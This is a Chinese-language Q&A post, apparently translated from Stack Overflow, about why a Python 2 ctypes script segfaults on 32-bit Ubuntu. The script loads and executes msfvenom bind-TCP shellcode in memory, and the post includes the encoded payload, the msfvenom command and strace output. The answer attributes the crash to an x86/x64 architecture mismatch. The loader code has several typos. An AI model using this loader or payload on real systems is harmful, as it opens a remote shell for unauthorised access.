在 Unix 系统上使用 Python Ctypes 函数调用分段错误

Question

背景：

编写概念证明，包括在正在运行的 python 进程中执行机器代码。想要使功能跨平台，但是在针对 unix 系统进行测试时出现问题。

几乎完全像这个问题：Python ctypes and function calls 但这次解决方案不起作用。

问题：在 VM 32bit Ubuntu server 12.04.5 LTS 中执行 python 脚本时，输出显示

Segmentation fault (core dumped)

这意味着我被拒绝访问我没有权限的内存。这是源代码中奇怪的 b/c 我还设置了 cytpes.mprotect(allocated_space, space_size, 7)

注意：未经所有者完全同意，请勿尝试在机器上执行以下机器代码以进行测试。

Python 脚本：

 #!/usr/bin/env python

import ctypes
import os
import sys

# linux machine code
buf += "\xbd\xfc\xa1\x5d\x63\xd9\xee\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x1c\x31\x6e\x14\x03\x6e\x14\x83\xee\xfc\x1e"
buf += "\x54\x37\x1e\x86\x0e\x7a\xe7\x8f\x31\x6b\xe8\xef\xb8"
buf += "\x68\x8e\x6e\x59\x6e\xbf\xbd\x1e\x5e\xe4\xca\xfc\xf2"
buf += "\x59\x67\x69\xf7\xd4\x66\xdd\x91\x2b\xe8\x4f\x34\xb0"
buf += "\xbc\x05\xca\xd2\x3d\x8a\x5d\xab\xdc\x40\x6c\xf7\x74"
buf += "\xf3\x28\xca\x08\x6c\x4b\x10\x1c\xca\x17\xc7\x4e\x84"
buf += "\xa5\xf7\x7f\x08\xc0\xe7\x2e\xe0\x9d\xe9\xba\x66\xc6"
buf += "\x24\xba\xb6\x15\x06\xdc\xf5\x5a\x37\x63\xb6\x3d\x31"
buf += "\x32\xb2\x0c\xc1\x27\x0c\x82\x72\x44\xbc\x1b\xf5\x95"
buf += "\x65\xac\xfc\xe4\x1a\x33\xe1"



def main(buf):
    if os.name == 'posix':                                                 
        try:                              
            libc = ctypes.CDLL('libc.so.6')                                
            buf_ptr = ctypes.c_char_p(buf)                               

            size = len(buf)                                          
            addr_freespace = ctypes.c_void_p(libc.valloc(size))                 
            ctypes.memmove(addr_freespace, buf_ptr, size)                            
            libc.mprotect(addr_free_space, size, 1 | 2 | 4)   # changed to 7 for all three access                    
            run = ctypes.cast(free_space, ctypes.CFUNCTYPE(ctypes.c_void_p))
            run()                                                           
            sys.exit()                                                                    
        except Exception as e:
            print "Error: " e

    else:                                                                   
        try:  # windows implementation



if __name__ == '__main__':
    main(buf)

问题：谁能解释一下为什么会出现分段错误消息以及我们如何解决这个问题？

致谢：这个 unix 实现起源于 sickle.py @ Line743-753

唯一的区别是参考脚本使用的是python 3，而我使用的是python 2.7。

更新：

经过多次试验和错误，包括在 pdb 中运行程序。分段错误错误发生在以下行之后：

run()

谁能解释一下为什么会这样？

编辑：

机器码/shellcode生成使用：

msfvenom --payload linux/x86/shell/bind_tcp  --format py --arch x86 --bad-char "\x00\x20\x0d"

这个 PoC 的灵感来自 SPSE 的 Viviek 教授和twittor

使用 strace 精确定位

分段错误前的结果如下：

mprotect(0x11ad000, 137, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
capget(0x1, 0, {CAP_CHOWN|CAP_FSETID|CAP_SETGID|CAP_NET_BIND_SERVICE|CAP_SYS_MODULE|CAP_SYS_CHROOT|CAP_SYS_PTRACE|CAP_SYS_BOOT|CAP_SYS_NICE|CAP_SETFCAP, CAP_CHOWN|CAP_DAC_OVERRIDE|CAP_FSETID|CAP_SETUID|CAP_LINUX_IMMUTABLE|CAP_NET_BIND_SERVICE|CAP_NET_ADMIN|CAP_NET_RAW|CAP_IPC_OWNER|CAP_SYS_CHROOT|CAP_SYS_PTRACE|CAP_LEASE|CAP_AUDIT_WRITE|CAP_SETFCAP, CAP_CHOWN|CAP_DAC_OVERRIDE|CAP_SETPCAP|CAP_NET_BIND_SERVICE|CAP_NET_BROADCAST|CAP_IPC_LOCK|CAP_IPC_OWNER|CAP_SYS_NICE|CAP_SYS_RESOURCE|CAP_SYS_TIME|CAP_SYS_TTY_CONFIG|CAP_SETFCAP}) = -1 ENOMEM (Cannot allocate memory)
getuid()                                = -1 EINVAL (Invalid argument)
getuid()                                = -1 EFAULT (Bad address)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV (core dumped) +++

Answer 1

系统信息错误，VM 运行在 x64 架构上，因此在脚本中输入 x64 代码效果很好。终于解开了谜团，感谢@Jester指出并指出问题。